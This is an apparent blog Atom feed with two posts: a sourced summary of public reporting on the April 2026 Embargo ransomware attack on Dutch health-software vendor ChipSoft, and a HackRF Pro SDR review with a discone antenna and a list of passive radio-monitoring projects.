<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://yumas.hankouri.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://yumas.hankouri.com/" rel="alternate" type="text/html" /><updated>2026-05-14T09:32:26+00:00</updated><id>https://yumas.hankouri.com/feed.xml</id><title type="html">Signal.Space</title><subtitle>Signals intelligence, RF engineering, hardware security, and high-performance computing — technical research notes by Yumas Hankouri</subtitle><author><name>Yumas Hankouri</name><email></email></author><entry><title type="html">The ChipSoft ransomware incident: notes from the public record</title><link href="https://yumas.hankouri.com/posts/2026/05/02/chipsoft-ransomware-incident/" rel="alternate" type="text/html" title="The ChipSoft ransomware incident: notes from the public record" /><published>2026-05-02T00:00:00+00:00</published><updated>2026-05-02T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2026/05/02/chipsoft-ransomware-incident</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2026/05/02/chipsoft-ransomware-incident/"><![CDATA[<div class="layman-summary"><p>
On 7 April 2026, ChipSoft — the Dutch software company whose HiX platform stores patient records for roughly seven out of every ten Dutch hospitals — was hit by ransomware. The attackers, a group calling itself Embargo, claimed to have stolen 100 GB of patient data and threatened to publish it. Three weeks later, ChipSoft announced that the data had been destroyed; the company has not confirmed whether it paid a ransom. This post is a structured summary of what's in the public record, drawn from Z-CERT advisories, Dutch national news reporting, and the international security press.
</p></div>

<p>This post is built entirely from publicly available reporting. There is no insider information here. Where claims are made they are sourced; where the public record is incomplete or contradictory, that’s noted explicitly. Things may look different a year from now when the forensic investigation completes and (if applicable) the data destruction is independently verified.</p>

<hr />

<h2 id="background-who-chipsoft-is-and-why-this-matters">Background: who ChipSoft is, and why this matters</h2>

<p>ChipSoft is a Dutch software company whose flagship product, <strong>HiX</strong>, is the dominant electronic health record (EHR) platform in the Netherlands. HiX is used by roughly 70% of Dutch hospitals to manage patient records and facilitate communication between healthcare providers and patients.</p>

<p>The HiX deployment landscape includes:</p>

<ul>
  <li><strong>HiX on-premise</strong> — the EHR running inside hospital networks, with ChipSoft providing software updates, support and remote access</li>
  <li><strong>HiX SaaS</strong> — hospitals using a hosted version of HiX, where ChipSoft operates the infrastructure</li>
  <li><strong>Zorgportaal / Zorgplatform / HiX Mobile / HAS Relay</strong> — patient-facing portals and inter-system bridges, all hosted by ChipSoft</li>
  <li><strong>HIX365</strong> — a specific patient-portal flavour where traffic to and from hospital records passes through ChipSoft’s servers, used by approximately 15 hospitals</li>
</ul>

<p>The third category matters most for the data theft question. Hospitals running HiX entirely in-house (with ChipSoft only providing software, not hosting) had a fundamentally smaller exposure surface than hospitals using ChipSoft-hosted services.</p>

<p>Under the Dutch implementation of GDPR (the <strong>AVG</strong>), ChipSoft acts as the data processor while the hospitals serve as the data controllers — a distinction that becomes important when notification obligations to the Dutch Data Protection Authority (Autoriteit Persoonsgegevens, AP) are triggered.</p>

<hr />

<h2 id="timeline">Timeline</h2>

<p><strong>7 April 2026</strong> — ChipSoft’s IT security team detects unauthorised access to its systems. The company’s website goes offline. ChipSoft circulates an internal memo to healthcare institutions warning of “possible unauthorised access” and recommending they disconnect from ChipSoft-hosted services as a precaution.</p>

<p><strong>8 April 2026</strong> — Multiple Dutch hospitals begin disabling their patient portals. Confirmed system outages are reported at Sint Jans Gasthuis in Weert, Laurentius in Roermond, VieCuri in Venlo, and the Flevo Hospital in Almere. ChipSoft pre-emptively disables connections to Zorgportaal, HiX Mobile, HAS Relay, and Zorgplatform.</p>

<p><strong>9 April 2026</strong> — Z-CERT, the Dutch CERT for the healthcare sector, formally confirms the incident is a ransomware attack. The advisory recommends that hospitals terminate connections to ChipSoft and audit traffic for indicators of compromise.</p>

<p><strong>14–15 April 2026</strong> — Dutch national broadcaster NOS reports that it cannot be ruled out that hackers gained access to data of some hospitals using ChipSoft’s HIX365 platform, where traffic to and from patient records runs through ChipSoft’s servers. Approximately 15 hospitals are in this category, including Franciscus Gasthuis (Rotterdam) and Albert Schweitzer Hospital (Dordrecht). ChipSoft advises affected hospitals to file data breach notifications with the AP.</p>

<p><strong>Mid-to-late April 2026</strong> — The ransomware operation <strong>Embargo</strong> publishes a post on its dark web leak site claiming responsibility and asserting it has stolen 100 GB of patient records. ChipSoft publicly confirms that medical personal data was stolen, having previously framed the incident as a “data incident” of uncertain scope.</p>

<p><strong>28 April 2026</strong> — ChipSoft announces that the stolen data has been destroyed and publication has been prevented, with technical verification by cybersecurity experts. The company does not confirm whether a ransom was paid; security and law enforcement officials in the Netherlands strongly discourage payment but it is not illegal.</p>

<hr />

<h2 id="affected-systems-and-the-scope-of-the-breach">Affected systems and the scope of the breach</h2>

<p>The systems ChipSoft took offline as a precaution were:</p>

<table>
  <thead>
    <tr>
      <th>Service</th>
      <th>Function</th>
      <th>Status during incident</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Zorgportaal</td>
      <td>Patient-facing portal</td>
      <td>Offline</td>
    </tr>
    <tr>
      <td>Zorgplatform</td>
      <td>Inter-organisational data exchange</td>
      <td>Offline</td>
    </tr>
    <tr>
      <td>HiX Mobile</td>
      <td>Mobile patient access</td>
      <td>Offline</td>
    </tr>
    <tr>
      <td>HAS Relay</td>
      <td>Inter-system messaging bridge</td>
      <td>Offline</td>
    </tr>
    <tr>
      <td>HiX SaaS</td>
      <td>Hosted EHR</td>
      <td>Affected</td>
    </tr>
    <tr>
      <td>HIX365</td>
      <td>Patient portal hosted by ChipSoft</td>
      <td>Traffic potentially intercepted</td>
    </tr>
    <tr>
      <td>HiX on-premise</td>
      <td>EHR running on hospital infrastructure</td>
      <td>Software vendor compromised, hospital systems generally unaffected</td>
    </tr>
  </tbody>
</table>

<p>The distinction between hospitals running HiX in-house and those using ChipSoft-hosted services determines the realistic data exposure. Several hospitals, including Rijnstate and Franciscus, reported that patient data remained secure because it was stored in isolated environments rather than on ChipSoft’s central infrastructure.</p>

<p>What was at risk for hospitals using the hosted services, according to the public reporting: names, addresses, Dutch national identification numbers (BSN), diagnoses, treatment histories, and insurance details. The 100 GB figure published by the Embargo group is the attackers’ claim; ChipSoft has not publicly confirmed the volume or specifics.</p>

<hr />

<h2 id="whats-known-about-the-attack-itself">What’s known about the attack itself</h2>

<p>Less than the public might want, more than is sometimes the case three weeks in.</p>

<p><strong>Attribution.</strong> The attackers identify themselves as the <strong>Embargo</strong> ransomware group. Embargo is a comparatively newer operation in the Russian-speaking ransomware landscape, with a small but active leak site. The attribution is based on the group’s own claim of responsibility and dark web post.</p>

<p><strong>Initial access vector.</strong> Not yet publicly disclosed. ChipSoft has stated that the forensic investigation is ongoing and that the technical specifics of how the attackers breached its defences remain under investigation. Z-CERT’s advisory does not name a specific CVE or exploitation chain.</p>

<p><strong>Extent of data theft.</strong> Embargo claimed 100 GB. ChipSoft confirmed that data was stolen but did not specify the volume or scope. NL Times’ sources indicated that for HIX365 hospitals specifically, the attackers may have intercepted data in transit through ChipSoft’s servers — there is no indication that this actually happened, but it cannot be ruled out either.</p>

<p><strong>Ransom payment.</strong> Officially unconfirmed. The fact that ChipSoft announced data destruction with “technical verification” three weeks after the incident, combined with there being no leak publication by Embargo, has been read by most commentators as strong circumstantial evidence that a payment was made. The company’s statement on this is deliberately worded to neither confirm nor deny.</p>

<hr />

<h2 id="the-single-vendor-problem">The single-vendor problem</h2>

<p>This is the structural story underneath the immediate incident. A single software vendor — one company with one platform — manages the patient records of roughly seven out of every ten hospitals in an entire country. When that vendor is compromised, the consequences ripple across the national healthcare infrastructure simultaneously.</p>

<p>Z-CERT’s response was the appropriate one for an incident of this category: tell hospitals to disconnect, audit traffic, and assume the worst about hosted services until proven otherwise. The fact that hospitals running HiX on-premise were largely insulated suggests that the architectural choice between hosted and self-hosted EHR is not just a procurement preference but a meaningful security boundary.</p>

<p>The broader question — whether national healthcare systems should have alternative EHR providers as a resilience strategy, and whether market dynamics actually permit that — is one for healthcare procurement policy, not security operations. But it is the question this incident raises most clearly.</p>

<hr />

<h2 id="whats-still-open">What’s still open</h2>

<ul>
  <li>The initial access vector. Until that is published, it is difficult to assess whether this was an exploitation of a specific CVE, a credential compromise, a phishing-led intrusion, or something else.</li>
  <li>Independent verification of the data destruction claim. ChipSoft’s “technical verification by cybersecurity experts” is the company’s own statement; no independent third-party attestation has been published.</li>
  <li>The full list of hospitals whose patients are at risk of data exposure. Reporting has identified roughly 15 HIX365 hospitals plus the four with confirmed system outages, but the total exposed population is not yet publicly enumerated.</li>
  <li>Whether a ransom was paid, and if so, in what amount. This may not be disclosed.</li>
</ul>

<p>The forensic investigation is ongoing. A more complete picture will likely emerge over the coming months as Z-CERT publishes its incident review and the AP completes its assessment of the various breach notifications it has received from affected hospitals.</p>

<hr />

<h2 id="notes-on-this-writeup">Notes on this writeup</h2>

<p>Everything above is built from public reporting — Z-CERT advisories, NL Times, NOS, Bleeping Computer, The Record, Cybernews, Techzine, and Security Affairs. There is no inside information here, and where the public record is unclear, that is noted explicitly rather than smoothed over. Healthcare cybersecurity reporting is unusually prone to speculation; I’ve tried to keep this on the side of what is documented.</p>

<p>If anyone reading this has authoritative information that corrects something stated here, the contact form on this site goes to a real inbox. Corrections are welcome.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="cybersec" /><category term="ransomware" /><category term="ChipSoft" /><category term="healthcare" /><category term="supply-chain" /><category term="EHR" /><category term="Embargo" /><category term="Z-CERT" /><category term="NL" /><summary type="html"><![CDATA[On 7 April 2026, the ransomware group Embargo compromised ChipSoft — the Dutch software vendor whose HiX platform manages patient records at roughly 70% of Dutch hospitals. This is a structured account of what is publicly known: the timeline, the affected systems, the regulatory dimension, and the questions that remain open.]]></summary></entry><entry><title type="html">HackRF Pro: complete walkthrough, comparison with the One, and the Moonraker SkyScan Desktop</title><link href="https://yumas.hankouri.com/posts/2026/04/15/hackrf-pro-walkthrough-moonraker-skyscan/" rel="alternate" type="text/html" title="HackRF Pro: complete walkthrough, comparison with the One, and the Moonraker SkyScan Desktop" /><published>2026-04-15T00:00:00+00:00</published><updated>2026-04-15T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2026/04/15/hackrf-pro-walkthrough-moonraker-skyscan</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2026/04/15/hackrf-pro-walkthrough-moonraker-skyscan/"><![CDATA[<div class="layman-summary"><p>
The HackRF Pro shipped in late 2025. This is a write-up after a few months of use — what's actually better compared to the original One, what the Moonraker SkyScan Desktop antenna adds to the setup, and how both perform in practice for wideband monitoring work.
</p></div>

<p>The HackRF One shipped in 2014. For a decade it remained largely unchanged — a few component substitutions, a revised RF switch here, a USB resistor change there — while everything around it evolved substantially. The HackRF Pro is what ten years of hindsight produces: the same basic architecture, the same software ecosystem, genuinely better hardware throughout. Great Scott Gadgets shipped the Pro in late 2025; this is a write-up after a few months of use.</p>

<p>I picked up mine from <a href="https://www.elektor.com">Elektor.nl</a> alongside a <a href="https://www.cbshop.nl">Moonraker SkyScan Desktop</a> as a primary wideband antenna. A record of both: what they do, how they work, where the Pro differs from the One, and what I’m planning to do with the combination.</p>

<hr />

<h2 id="hackrf-pro--full-specification">HackRF Pro — full specification</h2>

<p>The HackRF Pro is the next-generation open-source SDR from Great Scott Gadgets, featuring a 100 kHz to 6 GHz range, a built-in TCXO for high stability, and improved RF performance.</p>

<table>
  <thead>
    <tr>
      <th>Parameter</th>
      <th>HackRF Pro</th>
      <th>HackRF One</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Frequency range</td>
      <td><strong>100 kHz – 6 GHz</strong></td>
      <td>1 MHz – 6 GHz</td>
    </tr>
    <tr>
      <td>Max sample rate (USB)</td>
      <td>20 MS/s</td>
      <td>20 MS/s</td>
    </tr>
    <tr>
      <td>Internal sample rate</td>
      <td><strong>40 MS/s</strong> (FPGA decimation)</td>
      <td>20 MS/s</td>
    </tr>
    <tr>
      <td>ADC bit depth</td>
      <td><strong>8-bit standard, 16-bit extended, 4-bit half</strong></td>
      <td>8-bit only</td>
    </tr>
    <tr>
      <td>Duplex</td>
      <td>Half (TX or RX, not simultaneous)</td>
      <td>Half</td>
    </tr>
    <tr>
      <td>Logic</td>
      <td><strong>FPGA</strong></td>
      <td>CPLD</td>
    </tr>
    <tr>
      <td>Clock reference</td>
      <td><strong>Built-in TCXO</strong></td>
      <td>External crystal (no TCXO)</td>
    </tr>
    <tr>
      <td>Connector</td>
      <td><strong>USB-C</strong></td>
      <td>Micro-USB</td>
    </tr>
    <tr>
      <td>RF port protection</td>
      <td><strong>PIN-Schottky limiter + bias-tee over-current</strong></td>
      <td>Reverse current diode (r9/r10 only)</td>
    </tr>
    <tr>
      <td>DC spike</td>
      <td><strong>Eliminated</strong></td>
      <td>Present</td>
    </tr>
    <tr>
      <td>Shielding</td>
      <td><strong>Internal RF shielding fitted</strong></td>
      <td>None</td>
    </tr>
    <tr>
      <td>Frequency response</td>
      <td><strong>Flatter across band</strong></td>
      <td>Rolls off above ~4 GHz</td>
    </tr>
    <tr>
      <td>Enclosure</td>
      <td>Injection-moulded plastic</td>
      <td>Injection-moulded plastic</td>
    </tr>
    <tr>
      <td>Open source</td>
      <td>Yes</td>
      <td>Yes</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="what-every-function-does">What every function does</h2>

<h3 id="receiving-rx-mode">Receiving (RX mode)</h3>

<p>The Pro’s signal path from antenna to USB: RF in → PIN-Schottky limiter → RF switch → LNA (software-controlled gain) → mixer → IF filter → VGA (variable gain amplifier) → ADC → FPGA → USB.</p>

<p><strong>Frequency tuning</strong> is controlled by the RF synthesiser, which sets the local oscillator frequency. The tuning range is 100 kHz to 6 GHz in continuous coverage — removing the need for down-converters for frequencies previously below the 1 MHz lower limit. In practice, performance below about 1 MHz is limited by the antenna and the fact that the RF front-end was designed for VHF and above, but for LF/MF monitoring (NDB beacons, AM broadcast, WSPR on 630m) it works without additional hardware.</p>

<p><strong>Gain stages</strong> — the Pro exposes three separately controllable gain stages via software:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">lna_gain</code>: RF LNA gain (0–40 dB in 8 dB steps)</li>
  <li><code class="language-plaintext highlighter-rouge">vga_gain</code>: baseband VGA gain (0–62 dB in 2 dB steps)</li>
  <li><code class="language-plaintext highlighter-rouge">amp</code>: the internal broadband RF pre-amplifier (0 or 14 dB, on/off)</li>
</ul>

<p>Setting these correctly is the single most important thing for receiver performance. Too much gain and the ADC clips; too little and you’re noise-floor-limited. Start with <code class="language-plaintext highlighter-rouge">amp=off</code>, <code class="language-plaintext highlighter-rouge">lna_gain=16</code>, <code class="language-plaintext highlighter-rouge">vga_gain=20</code> and adjust based on signal strength in the waterfall.</p>

<p><strong>Bias tee</strong> — the SMA RF port can source DC power on the centre conductor for powering an external LNA. In addition to over-voltage protection provided by the diode, the bias tee on HackRF Pro features over-current protection. Enable via:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hackrf_transfer <span class="nt">-b</span> 1   <span class="c"># enable bias tee</span>
</code></pre></div></div>

<p>or in GNU Radio via the <code class="language-plaintext highlighter-rouge">osmosdr</code> source block’s <code class="language-plaintext highlighter-rouge">bias</code> parameter. The Pro’s over-current protection means you won’t destroy the bias tee if your LNA has a wiring fault — a real improvement over the One.</p>

<h3 id="transmitting-tx-mode">Transmitting (TX mode)</h3>

<p>TX reverses the signal path: USB → FPGA → DAC → VGA → mixer → RF switch → PA → SMA out.</p>

<p>TX gain is set via <code class="language-plaintext highlighter-rouge">txvga_gain</code> (0–47 dB in 1 dB steps). The PA provides additional fixed gain. Maximum output power is approximately +10 dBm (10 mW) at most frequencies, tapering off at the high end of the band.</p>

<p>The Pro, like the One, is half-duplex: you’re either transmitting or receiving at any given moment. There is no simultaneous TX/RX. This is an architectural constraint of the design and unchanged in the Pro.</p>

<p><strong>Transmit disable</strong> — it is possible to hardware-disable transmit mode by cutting one trace on the PCB, a feature added with classroom use in mind. If you’re deploying a Pro in an environment where accidental transmission would be a problem, this is a permanent hardware solution.</p>

<h3 id="standalone-operation">Standalone operation</h3>

<p>The HackRF One supported standalone operation via PortaPack, a third-party add-on that provides a display and controls. The Pro maintains compatibility with most PortaPack units while adding expanded capabilities for custom firmware.</p>

<h3 id="clocking--tcxo-and-external-clock-io">Clocking — TCXO and external clock I/O</h3>

<p>The most significant quality-of-life improvement over the One: a built-in TCXO crystal oscillator for exceptional timing stability.</p>

<p>The HackRF One used a plain crystal oscillator. Frequency accuracy was typically ±20–50 ppm depending on temperature — enough to affect reception of narrow-band signals and make precise frequency measurements meaningless without correction. Adding a TCXO (via the Nooelec module or similar) required modifying the board and meant losing the plastic enclosure.</p>

<p>The Pro includes a TCXO on-board. Typical stability is sub-±1 ppm across the operating temperature range. This matters for:</p>
<ul>
  <li>Receiving narrow-band signals without constant frequency offset correction</li>
  <li>Precise frequency measurement and calibration</li>
  <li>Phase-coherent applications where frequency drift causes problems</li>
  <li>GPS reception on L1/L2 where timing precision is critical</li>
</ul>

<p>The SMA clock I/O ports (external reference in, reference out) are retained from the One’s design, allowing daisy-chaining of multiple units to a common reference oscillator for coherent multi-channel operation — this is still the route for multi-antenna work, as the Pro remains a single-channel device.</p>

<h3 id="fpga--what-changed-from-cpld">FPGA — what changed from CPLD</h3>

<p>The One used a CPLD (Complex Programmable Logic Device) for glue logic. The move to an FPGA provides better power efficiency than the original CPLD-based design.</p>

<p>More importantly, the FPGA enables things the CPLD couldn’t:</p>
<ul>
  <li><strong>Internal 40 MS/s operation</strong> with decimation to 20 MS/s for the USB link</li>
  <li><strong>16-bit extended precision mode</strong>: at lower USB sample rates HackRF Pro supports an extended-precision mode with 16-bit samples and an effective number of bits (ENOB) of 9 to 11, depending on the sample rate.</li>
  <li><strong>4-bit half-precision mode</strong>: up to 40 MS/s over USB, trading dynamic range for throughput</li>
  <li>More headroom for custom firmware and signal processing offloaded from the host</li>
</ul>

<p>In practice for most users: the FPGA is why the DC spike is gone (it’s suppressed in the digital domain), why the frequency response is flatter, and why extended precision mode exists.</p>

<h3 id="extended-precision-mode-16-bit">Extended precision mode (16-bit)</h3>

<p>This is the feature with the most immediate practical use. At lower sample rates — 1–4 MS/s — the FPGA performs noise-shaping and oversampling to deliver 9–11 effective bits of ADC resolution instead of 8.</p>

<p>What 2–3 extra bits means: 12–18 dB of additional dynamic range. Weak signals that would be buried in quantisation noise at 8-bit become resolvable. This is directly useful for:</p>
<ul>
  <li>HF/VHF weak signal work (SSB, CW, WSPR, amateur weak-signal modes)</li>
  <li>Receiving satellite signals at low sample rates where a narrow channel is sufficient</li>
  <li>Any application where you’re willing to trade bandwidth for sensitivity</li>
</ul>

<p>To enable in software (once the migration guide is published — check hackrf.readthedocs.io):</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Via hackrf_transfer</span>
hackrf_transfer <span class="nt">-r</span> output.iq <span class="nt">-f</span> 14100000 <span class="nt">-s</span> 1000000 <span class="nt">-n</span> 10000000 <span class="nt">--16bit</span>

<span class="c"># In GNU Radio: osmosdr source, set sample rate ≤ 4e6, enable 16-bit mode</span>
</code></pre></div></div>

<h3 id="rf-protection--the-limiter-circuit">RF protection — the limiter circuit</h3>

<p>The One’s RF port was fragile. Connecting it to a transmitting antenna, a nearby strong signal, or a static-charged whip could kill the front-end amplifier. Many One owners have gone through multiple boards.</p>

<p>The RF port is also protected from high RF power by a PIN-Schottky limiter. This clamps high-power RF transients before they reach the LNA. It’s not protection against deliberately connecting the output of a transmitter to the RF port — don’t do that — but it handles the incidental exposure that destroyed so many One boards: connecting while a signal source is active, proximity to transmitting equipment, and static discharge.</p>

<hr />

<h2 id="noise-figure-and-sensitivity--measured-improvements">Noise figure and sensitivity — measured improvements</h2>

<p>The measurements show a solid improvement across almost the whole tuning range, with significant improvement at higher frequencies. In a real-world ADS-B test, the HackRF Pro generally got around 15 to 50 km extra maximum range, and received double the number of valid messages.</p>

<p>The practical import: for any receive application, the Pro is measurably better than the One. The improvement is most pronounced at higher frequencies (above 2 GHz) where the One’s performance fell off significantly.</p>

<hr />

<h2 id="the-moonraker-skyscan-desktop">The Moonraker SkyScan Desktop</h2>

<p>Bought from <a href="https://www.cbshop.nl">CBShop.nl</a> as the desktop antenna for the Pro. Full specs:</p>

<p>Type: Discone style desktop receiving antenna. Frequency RX: 25–2000 MHz. Base: Heavy duty 125mm magnetic plate for stability or stationary vehicle use. Length: 700mm. Cable: 4m RG58 mil spec coax. Connection: BNC male plug fitted.</p>

<h3 id="how-the-discone-design-works">How the discone design works</h3>

<p>A discone antenna is geometrically defined by a disc on top and a cone below. The disc and cone dimensions determine the low-frequency cutoff; the discone is naturally broadband from that cutoff upward, theoretically to infinity (practically limited by construction tolerances and feedpoint matching at very high frequencies).</p>

<p>The SkyScan Desktop uses a miniaturised discone geometry: 4 x 8 cm and 8 x 29.5 cm radials forming the cone elements, with the vertical element forming the disc equivalent. This geometry gives the 25 MHz lower cutoff. Above that, it’s essentially flat in gain — approximately 0 dBi omnidirectional across the whole band, with no deep nulls except directly overhead and directly below.</p>

<p>The gain is modest by design. A discone trades gain for bandwidth; it has less gain than a resonant dipole or yagi at any specific frequency, but it doesn’t require retuning and doesn’t have frequency gaps. For a wideband monitoring application — which is exactly what the HackRF Pro is used for — this is the right tradeoff.</p>

<h3 id="connecting-to-the-hackrf-pro">Connecting to the HackRF Pro</h3>

<p>The SkyScan ships with a BNC male connector. The HackRF Pro has an SMA female RF port. You need a BNC female to SMA male adapter — these cost under £2 and should be in any SDR kit. Keep it short and use a quality adapter; a lossy adapter at this point in the signal chain adds noise figure before the LNA can compensate.</p>

<h3 id="performance-observations">Performance observations</h3>

<p>On the bench with the Pro, the SkyScan is a clean, quiet antenna indoors with good coverage from VHF up. Notable observations:</p>

<ul>
  <li><strong>VHF/UHF</strong> (100 MHz – 600 MHz): excellent. Aircraft VHF (118–137 MHz), FM broadcast, 433 MHz ISM, 2-metre ham band all received with good SNR with no preamp.</li>
  <li><strong>Above 600 MHz</strong> (ADS-B at 1090 MHz, L-band): works well, some gain loss compared to a resonant antenna for the specific frequency, but the broad coverage is the point.</li>
  <li><strong>Below 100 MHz</strong> (HF/MF, down to 25 MHz): the antenna becomes less efficient as you approach the low-frequency cutoff. For serious HF work below 50 MHz, a longer wire or a dedicated HF antenna will outperform it. For casual monitoring and occasional use it’s acceptable.</li>
  <li><strong>Indoors</strong>: the magnetic base is useful. Placed on a metal filing cabinet near a window it works significantly better than on a wooden desk — the metal provides the ground plane the discone expects.</li>
  <li><strong>DC spike</strong>: gone on the Pro. On the One, the DC spike in the centre of the waterfall was a constant presence. On the Pro, the centre of any capture is clean.</li>
</ul>

<p>The RG58 cable introduces some loss — roughly 0.5 dB/metre at 500 MHz, so 2 dB over the 4m run at that frequency. For most monitoring this is acceptable; if you’re trying to maximise range for a specific application, a shorter LMR-240 run would help. For a desktop setup with the antenna near the computer, the 4m is fine.</p>

<hr />

<h2 id="hackrf-pro-project-list">HackRF Pro project list</h2>

<p>These are planned projects specifically exploiting the Pro’s capabilities beyond what the One could do — the extended frequency range, the TCXO stability, the 16-bit mode, and the improved noise figure.</p>

<h3 id="1-long-wave-and-medium-wave-beacon-monitoring-100-khz--2-mhz">1. Long-wave and medium-wave beacon monitoring (100 kHz – 2 MHz)</h3>
<p><strong>Why the Pro</strong>: the One’s 1 MHz lower limit put LF completely out of reach and the lower end of MF out of comfortable reach. The Pro starts at 100 kHz.<br />
<strong>What</strong>: receive NDB (Non-Directional Beacon) stations on LF/MF using the 16-bit extended precision mode for maximum dynamic range. Map received beacons, decode callsign Morse identifiers, correlate with published NDB databases. The SkyScan Desktop’s 25 MHz cutoff means I’ll need a longer wire antenna for this frequency range — a 10m wire run along a windowsill will do for a start.<br />
<strong>Tools</strong>: GNU Radio + custom LF decoder, 16-bit mode, Python for beacon ID</p>

<h3 id="2-hf-wspr-reception-with-tcxo-stable-frequency-measurement">2. HF WSPR reception with TCXO-stable frequency measurement</h3>
<p><strong>Why the Pro</strong>: WSPR (Weak Signal Propagation Reporter) operates on narrow sub-bands (e.g., 14.0956–14.0974 MHz) with signals transmitted at ±1.4 Hz accuracy. The One’s ±50 ppm drift (±700 Hz at 14 MHz) made WSPR decoding unreliable without constant calibration. The Pro’s TCXO holds within ~1 ppm.<br />
<strong>What</strong>: set up a persistent WSPR monitoring station on 20m/40m/80m, feeding spots to wsprnet.org. Measure actual frequency accuracy against GPS-disciplined reference to characterise the TCXO’s real-world stability across temperature.<br />
<strong>Tools</strong>: WSJT-X via virtual audio, GNU Radio 16-bit mode for the HF chain</p>

<h3 id="3-aircraft-acars-and-vdl-mode-2-decoding">3. Aircraft ACARS and VDL Mode 2 decoding</h3>
<p><strong>Why the Pro</strong>: the improved noise figure means more aircraft heard at range, particularly VDL Mode 2 which is narrowband VDSL on 136.9 MHz and benefits from cleaner reception.<br />
<strong>What</strong>: simultaneous passive monitoring of ACARS (131.725 MHz AM) and VDL Mode 2 (136.9 MHz), decoding and logging all messages. Compare against ADS-B position data to correlate aircraft identity with text messages. Feed to acarsmap or similar visualisation.<br />
<strong>Tools</strong>: acarsdec, vdlm2dec, GNU Radio IQ recording, Python for message correlation</p>

<h3 id="4-l-band-satellite-monitoring-1516-ghz-with-the-skyscan">4. L-band satellite monitoring (1.5–1.6 GHz) with the SkyScan</h3>
<p><strong>Why the Pro</strong>: the improved high-frequency noise figure and the Pro’s better performance above 1 GHz make L-band reception meaningfully easier.<br />
<strong>What</strong>: receive L-band AERO (Inmarsat aeronautical data on ~1.545 GHz) and L-band STD-C (Inmarsat maritime messaging). The Inmarsat satellites broadcast weather faxes, maritime safety messages, and aeronautical ACARS — all in the clear. The SkyScan Desktop’s coverage extends to 2 GHz so no antenna change needed; pointing it toward the Inmarsat geostationary satellite position with a clear view of the sky helps.<br />
<strong>Tools</strong>: gr-iridium (for Iridium), JAERO (for Inmarsat ACARS), GNU Radio, SkyScan + optional helical patch for better L-band gain</p>

<h3 id="5-ism-868-mhz-lora-passive-monitoring-16-bit-precision">5. ISM 868 MHz LoRa passive monitoring (16-bit precision)</h3>
<p><strong>Why the Pro</strong>: the 16-bit extended precision mode at reduced sample rates improves weak-node detection in LoRaWAN deployments that use SF12.<br />
<strong>What</strong>: persistent 868 MHz LoRaWAN monitoring at 1 MS/s in 16-bit mode. Characterise the dynamic range improvement: compare the number of frames decoded at 8-bit vs 16-bit across a week of captures. Build a receiver sensitivity model from the results.<br />
<strong>Tools</strong>: gr-lora, Python logging pipeline, SQLite, 16-bit mode comparison script</p>

<h3 id="6-gps-signal-structure-analysis-1575-ghz-l1">6. GPS signal structure analysis (1.575 GHz L1)</h3>
<p><strong>Why the Pro</strong>: the TCXO provides the timing stability needed to coherently integrate GPS C/A code without clock drift destroying the correlation, and the 6 GHz range covers both L1 (1575.42 MHz) and L2 (1227.60 MHz).<br />
<strong>What</strong>: receive and analyse the structure of GPS L1 C/A signals — not to navigate (the HackRF can’t do real-time navigation; insufficient ADC precision and compute), but to study the PRN code structure, measure Doppler shift across a satellite pass, and demonstrate the correlation process that underlies GPS. A disciplined academic exercise in understanding how GNSS actually works at the signal level.<br />
<strong>Tools</strong>: GNSS-SDR in post-processing mode, GNU Radio IQ capture, Python correlation visualisation</p>

<h3 id="7-tetra-downlink-monitoring-380400-mhz-eu-public-safety-band">7. TETRA downlink monitoring (380–400 MHz EU public safety band)</h3>
<p><strong>Why the Pro</strong>: better noise figure improves decoding reliability on the TETRA channels used by emergency services, which are often weaker in urban areas due to directional base station antennas.<br />
<strong>What</strong>: passive monitoring of TETRA infrastructure channels — base station identifiers, cell configuration broadcasts, and unencrypted control plane traffic. TETRA voice traffic is typically encrypted; the control plane metadata (BTS IDs, cell configurations, timing parameters) is not, and provides a view of the network topology without touching any content.<br />
<strong>Tools</strong>: telive, gr-osmocom, osmo-tetra, SkyScan Desktop on a UHF-resonant extension (quarter-wave at 390 MHz ≈ 192 mm)</p>

<h3 id="8-wideband-spectrum-survey-and-anomaly-detection-pipeline">8. Wideband spectrum survey and anomaly detection pipeline</h3>
<p><strong>Why the Pro</strong>: the combination of improved noise figure, TCXO stability for repeatable measurements, and 16-bit mode for improved dynamic range makes the Pro a better survey instrument than the One.<br />
<strong>What</strong>: automated wideband power spectral density measurement across the 25–2000 MHz range (SkyScan coverage) at regular intervals. Store to time-series database (InfluxDB). Alert on new persistent signals above threshold that weren’t present in baseline. This is passive RF spectrum monitoring for change detection — useful for noticing new transmitters in the environment and tracking the rise and fall of different signal types over days/weeks.<br />
<strong>Tools</strong>: rtl_power adapted for HackRF Pro, InfluxDB, Grafana for visualisation, Python alerting pipeline</p>

<h3 id="9-fm-broadcast-subcarrier-and-rds-deep-monitoring">9. FM broadcast subcarrier and RDS deep monitoring</h3>
<p><strong>Why the Pro</strong>: the 16-bit mode at low sample rates gives significantly better dynamic range for demodulating the 57 kHz RDS subcarrier and the 38 kHz stereo pilot, both of which are weak relative to the main carrier and benefit from reduced quantisation noise.<br />
<strong>What</strong>: log all RDS data from local FM stations continuously: RadioText, Programme Service name, Traffic Announcements, Alternative Frequencies, Enhanced Other Networks. Build a database of transmission patterns over months. A surprisingly revealing view of broadcasting infrastructure and scheduling.<br />
<strong>Tools</strong>: redsea, GNU Radio FM receiver, Python logging, SkyScan Desktop</p>

<h3 id="10-characterising-the-skyscan-desktop--measured-antenna-factor-across-band">10. Characterising the SkyScan Desktop — measured antenna factor across band</h3>
